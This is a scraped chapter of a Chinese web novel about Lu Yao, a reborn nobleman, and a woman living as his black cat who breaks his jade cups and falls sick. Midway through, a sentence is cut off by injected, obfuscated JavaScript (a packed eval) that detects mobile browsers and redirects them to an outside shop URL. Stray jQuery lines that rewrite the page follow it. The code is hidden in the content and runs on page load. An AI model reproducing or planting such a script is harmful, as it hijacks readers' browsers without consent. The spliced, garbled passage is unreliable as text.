默认冷灰
24号文字
方正启体

12. 第 12 章

作者:鹤梦重本书字数:K更新时间:
    “是五殿下的事。”陆尧拧眉道,“他要找......鲛珠。”


    “鲛珠?他要鲛珠作何用?!”拂晓暗暗吃惊,“虽传言说鲛珠能活死人肉白骨,但这种奇珍却要以鲛人之死的血液浇灌,又要耗费多少珠奴的心血与性命,何其残忍!”


    张安澜乖巧趴在拂晓怀里,尖耳好奇听着两人的对话,生怕漏掉一个字。


    “是啊,一颗鲛人珠,万千珠奴血。”陆尧面色暗淡,如墨如夜,眼眸里的光落了下去。


    他转头看向下方芝麻大小熙攘的人群,仿佛在透过层层人潮,穿越无数时光到达深处痛苦的记忆里。


    “可是,我终究欠了他一份情。”他紧握右手成拳,脑海里慢慢浮现出自己那鲜血淋漓的面庞,在阴暗潮湿的草堆上被人凌辱、被人砍断手脚。


    记忆里是楚星躔救了他。


    可他无法忍受成为人彘的折磨,终究自我了结。在生命的最后那段时间,他看到楚星躔冲到眼前抓住他的肩膀眼含泪水道:“陆尧,不要死!求你不要死!求求你!陆尧!”


    泪水浸透了眼眸,思绪在黑暗的沼泽里疯狂挣扎、呼啸。


    是的,陆尧是重生的。


    他重生在了十三岁那一年。


    前世,他是鲜衣怒马少年郎。


    四岁能写诗,五岁能撰文。十三岁,他一人力败十名武将,自此名声大噪。他意气风发张扬自信,结交权贵,及冠后投到楚星躔府下,筹谋划策助其登上皇位。他成了中洲国最年轻的丞相。


    天下人皆认为他凭借美貌才登上高位,敢妒不敢言。可惜他风头太盛,被人诬陷与外贼勾结。他、他爹、二弟及其他族人锒铛入狱。人生至灰至暗时刻,只有张安澜挺身而出为其求情,最终落了个与人结党营私、偷盗御赐之物、鬼神祸乱之罪。


    在阴冷灰暗的监狱里,他被.......


    陆尧长吸一口气,泪眼朦胧,不敢再回想下去。


    黑暗的一幕幕依旧如针般刺痛内心。


    他的亲人、为他发声的张安澜全都因他而死!


    他捂住发闷的心口,浑身颤抖,思绪如狂风暴雨激烈撕开伪装坚强的内心:他不知道谁是真正的凶手!他不知道谁害了他们!都是因为自己高傲自满招惹灾祸!都是因为自己!


    都是因为自己!!!


    这一世,我必须找出幕后黑手,必须保护他们,我必须!


    脑海里一遍又一遍回响这些话,眼前似有无数团黑雾包裹他,让他透不过气来。他面目狰狞、双眼通红,周身浑厚的内力瞬间爆发,面前的桌子霎时“轰隆”一声四分五裂。


    “公子?公子!公子!你快醒醒!公子!”拂晓看着面前人脸色逐渐苍白可怖、青筋凸起,忙起身大声呼喊。


    可惜这声音如一颗再微弱不过的石子沉入无边无际的大海,没有任何回应。


    “陆尧这家伙怎么了?发疯了?!”张安澜浑身蜷缩,怔愣盯着面容丑陋、形似野兽的陆尧,嗷呜道,“这人果真有病!”


    正当拂晓无计可施时,她听到怀中玄猫的叫声,眸光晶亮,抱起玄猫往陆尧眼前送。


    “不要啊!阁主大人!你,你干什么!”张安澜吓得耳朵后缩,“喵喵”狂叫,“阁主大人!这陆尧在发疯!我不要靠近他!要了猫命了!呜呜呜!我还想多活几年!救命啊!不要!”


    凄厉的猫嚎叫声响彻塔顶。


    这尖锐的声音如铺天盖地的阳光,横冲直撞冲破陆尧眼前厚重的黑雾。陆尧倏忽清醒过来,泪水朦胧间见一只通体乌黑的猫面目凶残,冲着他龇牙咧嘴,嚎叫连连。


    猫?


    啊,是乌坠!


    是啊,前世乃前世,今生为今生,上天已赐了他重来一次的机会,他还奢求什么?前世,他未曾遇见这么多惊才绝艳的女子。前世,他未曾创立玲珑阁。前世,他没有养乌坠。这一切,不都改变了吗?他为何还要被困在永无止境的痛苦中折磨自己?


    手掌处传来钻心的疼痛,陆尧举起手一看,惊觉手指甲已然掐进肉里,鲜血肆流。


    “公子!”拂晓惊呼,将手中的玄猫一扔,飞奔到陆尧身旁。


    “哎哟!”张安澜猝不及防间摔成个四仰八叉,痛得“喵喵”惨叫,“阁主大人,扔之前好歹说一声啊!我的猫腰啊,呜呜呜,我怎么这么命苦!这猫爱谁当谁当去!呜呜呜......”


    “公子!”拂晓从旁边打开一玉盒,匆忙拿出绢布擦拭陆尧的手,撒上药粉,缠上纱布。她皱眉心疼道,“公子,这次发病严重,要不请盈袖姐来看看?”


    “盈袖?这名字好生熟悉......”张安澜嘀咕。


    “无碍。”陆尧摇头轻笑,“无需喊她,让她安心研制自己的药。”


    “公子,这次要不是小乌坠,恐怕公子......唉?小乌坠呢?”拂晓左右张望,低头才见在桌脚下趴着小声呻吟的玄猫。


    “乌坠!你没事吧!乌坠!抱歉抱歉,刚刚我太心急了!”拂晓飞速蹲身轻轻托起玄猫,上下查看,“乌坠,你哪受伤了没?你还好吗?乌坠,乌坠!”


    “哼,有事就小乌坠,无事便陆公子,我呸!我才不要当什么工具猫!”张安澜气得皱起黑黢黢的小脸,扭头不理拂晓。


    “乌坠!抱歉,我,我不是故意如此的,我,我就是没习惯怀里有只小猫,我错了......你别生气了好不好?”拂晓轻声哄着这猫。


    “乌坠又长了脾气,”陆尧无奈摇头,伸出手道,“你把它给我。”


    “是,公子。”


    陆尧抱过玄猫。


    坠入陆尧怀里的张安澜一见到这张虽美貌但欠扁的脸,气就不打一处来。


    她抬头恶狠狠瞪向陆尧,浑身炸毛,嘴里骂骂咧咧:“臭陆尧!都怪你!把我带到这来干什么?!你这个疯子,快放开我!我不当猫了!我再也不要当猫了!你放开我!你发疯关本猫什么事!我凭什么替你受这罪!”


    “公子,小心这猫挠你。”拂晓担忧道。


    “我不怕。”陆尧认真直视通透的猫眼,浅笑道,“乌坠,谢谢你。”


    张安澜看到陆尧光华弥漫的眸子,仿佛漫天星辰落入凡间,她又被晃迷了眼,嘴巴张大,喵叫声骤然硬生生压进了喉咙,竟一个字也吐不出来。


    她呆愣半晌,忽而意识到自己正在生气,刚又想张口,上方传来一声轻笑,“乌坠,怎么傻了?”


    “我才没傻!”张安澜又羞又恼,心想:啊啊啊!怎么又被这家伙牵着鼻子走?!


    转眼想起陆尧的道谢,举起爪子“嗷嗷”抗议:“一句谢谢顶个鬼用!本猫为了救你受了重伤,一句谢谢就想打发?哼!我才不干!”说着还一边用爪子比划,指着自己受伤的腰“喵喵”叫,“这里摔疼了!还有这里疼!还有这里!”


    陆尧宠溺地看着四肢乱七八糟飞舞的玄猫,连声道:“好了,好了,这次帮我这么大的忙,我回家给你吃好吃的,可好?”


    “好吃的?!”张安澜眼睛骤亮,瞳仁放大,忙不迭点头,“我要吃那东街上的牛肉干,还要巷尾那家酱肘子!还要中心街上那个枣木烤鸡,还有.......”


    她兴奋得“喵喵”个不停,可惜陆尧没有听懂一个猫语,只在那里笑着轻揉玄猫的下巴、脖颈、耳朵。


    酥麻感传遍张安澜的四肢百骸,她声音慢慢小下去,不由自主地拉长身体摊开肚皮,任由陆尧揉捏,到舒服处时不禁小声“嗷呜”一声,复而张开爪子在空中来回划拉踩踏。


    拂晓看到玄猫身上的毛顺落下来,小声惊叹:“公子,还是你有办法!”


    “这小家伙可馋了。”陆尧无奈浅笑,又转头道,“拂晓,你近日有空闲时吩咐山庄的人做几身深色衣裳。”


    “深色?”拂晓不解,“公子,你不是最爱浅色或亮色衣裳,怎么突然.......”


    “还不是因为这小家伙。”陆尧抓了抓玄猫头上茸毛,“小乌坠是个掉毛精,现在我房间里、衣服上到处都是它的小黑毛。若被其他有心人发现了可不好。”


    “遵命,公子。拂晓保证完成公子交代的事!”


    “说谁是掉毛精?!说谁呢!掉毛是我能控制的吗?”张安澜听到这几个字瞬间炸毛,挣脱开陆尧温柔的怀抱,跳到一边对着陆尧指爪画爪,“不爱养别养,本猫才不愿听这孬话!”


    “唉?小乌坠好像又生气了?怎么回事,它不会听懂了公子的话吧......”拂晓奇怪道。


    “算了,莫管它。”陆尧无奈叹气摇头,“它常这样翻脸不认人,天生一个气炉子。”


    拂晓捂嘴偷笑,“公子,这猫这么有趣,公子要不还是让给我吧,这玲珑阁怪冷清的。”


    “去去去。”陆尧摆手起身,捞起鼓着腮帮子的玄猫,“鲛珠这事,你无需过多费心。切记不能多造杀戮。”


    话未落,身子却如一阵风匆匆进了暗道,生怕拂晓追上去抢走他的猫。


    “哎?公子,公子!”拂晓在后方气得直跺脚,娇嗔道,“公子你个小气鬼!”随即眼珠子一转,打定主意嘴角一勾:“下次来这我多准备点吃食,让乌坠舍不得离开玲珑阁!公子,我看你到时又如何带走乌坠?!”


    靥星临空,更深月落,木屋窗户处映照着摇晃的竹影。


    陆尧推门进屋,一眼便见窗户上破开手掌那么大的洞,心中叹气:唉,这猫真会霍霍。下次换个便宜点的窗纱吧。随即他将玄猫轻放到床榻上,松开捂着玄猫的手道:“乌坠,我们到家了。”


    “你说谁是掉毛精?谁是气炉子!”卸去束缚的张安澜立马喵喵喵不间断,她炸毛甩尾,弓起身子直勾勾瞪着陆尧。


    “怎么?又不认识我了?”陆尧苦恼,“乌坠,你怎么又生气?我哪里待你不好?”


    “就是认识你才惹人生气!你待我哪里好了?你待我.......”张安澜本想说出陆尧待猫刻薄处,刚张嘴却发现好像陆尧待她如亲人,心头火泻下去。


    她冷哼一声,甩动长尾巴在床上巡视一圈,又跳到桌子上,看到整齐摆放的白玉茶具。


    “你这讨厌的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410338|200661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家伙,平常只给吃不给喝,要不是我每天偷偷喝茶杯里的白水,早渴死了!”她“喵喵喵”抱怨着,头挤进白玉茶杯缝隙,刚想低头喝水,却没有见到闪动的水光。


    “杯里的水呢?”她伸爪推了推,杯中空空如也。


    “水呢?”她不死心,腆着个大黑猫脸往杯里看去,“水哪去了?”


    “乌坠!这,这套白玉杯是一整个和田玉做成的,通体无纹,光洁如脂,最是难得!乌坠,你,你要小心!......”陆尧急得大喊,飞速奔到桌边。


    “什么破和田玉!我的水呢?!”张安澜还在气头上,又实在口渴难耐,一张大黑脸在茶杯中来回穿梭,一股脑挤翻白玉杯。


    “啪嗒”几声脆响。


    陆尧未来得及伸手,只能眼睁睁地瞧着这一套白玉杯陨落在地。


    张安澜低头看了眼破碎的战利品,心知闯祸,一溜烟头也不回地跳向床榻。


    “哎哟!我的白玉杯!”陆尧心疼得“哗啦啦”直滴血,“这白玉杯可是花了我大半年的时间才寻得的!”他转头看向角落里的玄猫,那猫儿正抬腿舔毛,时不时拿白眼瞟他。陆尧又气又恼:“乌坠你这捣蛋鬼,怎么一脚又给祸害了!”


    张安澜虽心虚,但依然瞪着个大眼珠子恃宠而骄:“捣蛋鬼怎么了?!你要如何?!有本事你打我呀,你打我呀!”她“啊呜啊呜”仰头叫着,“反正你也嫌弃我,你打死我得了!哼!”


    陆尧看着玄猫鼻子朝天的神气样,心里邪火不上不下,却又实在不忍心伸手打这小家伙,无奈收拾好地上狼藉拂袖暂离此屋。


    “讨厌的家伙。”张安澜翻了个白眼,继续舔毛,一寸一寸,从手舔到脚,从背舔到肚,舔得她口干舌燥、饥肠辘辘。


    “还是出去找点水喝吧,别把自己渴死了。”她惬意地伏地伸了个懒腰,刚抬步,便见陆尧端着盘子过来,上面躺着几条晶莹剔透的银鱼。


    “怎么又吃银鱼?”张安澜战术性后退一步。


    “乌坠,这是最后几条银鱼。你吃完我再让手下去购置。”陆尧把盘子送到玄猫面前,伸手欲抚摸猫头,张安澜“嗷呜”一声蓬毛跳开。


    陆尧心里微怒,无奈道:“算了,你这小家伙,那套白玉杯就当送你。下次可不许这样。我答应给你好吃的,快吃吧。”


    “陆尧这家伙这么大方?”张安澜余光瞟了一眼,又看向盘子的银鱼,胃里一时翻江倒海,忙摇头后退,不满喵道,“不吃,不吃,我才不要这银鱼!”


    从见陆尧第一面起到现在,每餐、每时、每刻,她一睁眼见到盘子里的吃食皆是银鱼、银鱼、银鱼。纵然这鱼再珍贵、再美味,接连不间断吃个把月,早吃腻了!她想吃酱肘子、烤鸡腿、牛肉干啊!喵呜呜,这么寡淡的银鱼她再也不想碰了!


    “乌坠,这是你最爱的银鱼,怎么不吃了?”陆尧又把这盘子往前推。


    “什么最爱?谁说它是我的最爱?”张安澜连连后退,“我不想吃这玩意,你快给我拿开!”


    “乌坠,你今天怎么回事?!”此时陆尧心里积压的怒气冲上头顶,神色骤冷,吓得耀武扬威的张安澜打了个寒颤。


    “快吃!”陆尧声音冰寒至极,周身的空气似结成冰渣。


    “我......”张安澜气势瞬间垂落下去,她耳朵耷拉,心虚地瞥了眼陆尧,碍于这人的“淫威”,她匍匐身子一步一步靠近盘子,低头将银鱼咬进嘴里。


    这鱼入口清淡无味,咀嚼起来如同食蜡,胃里翻江倒海的感觉再次涌了上来,她“嗷呜”一声,嘴里的吃食混着胃里的粘液一股脑呕吐出来。


    “乌坠!你”陆尧刚想开口怒骂几句,没想到玄猫又接连吐了几次,白色的液体淌在地上。


    陆尧一下子慌了神:“乌坠,你,你怎么了?!”


    “我没事......”张安澜虚弱摇头,只觉胃在翻腾,喉咙灼烧得痛。


    “乌坠,乌坠,哪里不舒服.......”陆尧神色懊悔,看着玄猫虚弱难受的模样,心里却比猫难受百倍千倍!


    当时他怎么能凶乌坠!都怪自己没有看护好东西,这银鱼它不爱吃就不吃,怎么能凶它!


    陆尧上前想伸手抱住玄猫。


    张安澜缩腿后退几步,躲在角落里,胃难受得紧。她四肢收在腹部里蹲着,才感觉好受了几分,又抬头心虚地看了眼地上、床上糟蹋的东西,紧张得吞了下口水,不敢再吱声。


    她真不是有意要糟蹋这些的!根本控制不住啊!这陆尧不会把她碎尸万段吧!......想想她就浑身颤抖,小心翼翼瞧着陆尧的面色。


    陆尧看着空落落的手,又看向玄猫警惕害怕的神情,暗骂自己愚蠢,怎么能凶猫!这些日子好不容易建立的信任朝夕间崩塌殆尽。


    “乌坠,你到底怎么了?”陆尧手足无措地坐下,轻声道,“乌坠,明天要不我带你去找宁乐公主?或许她对你这呕吐有救治之法。”


    “什么?宁乐公主?!”张安澜猛抬头,又连连摇头,“不去,不去,我死也不去!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)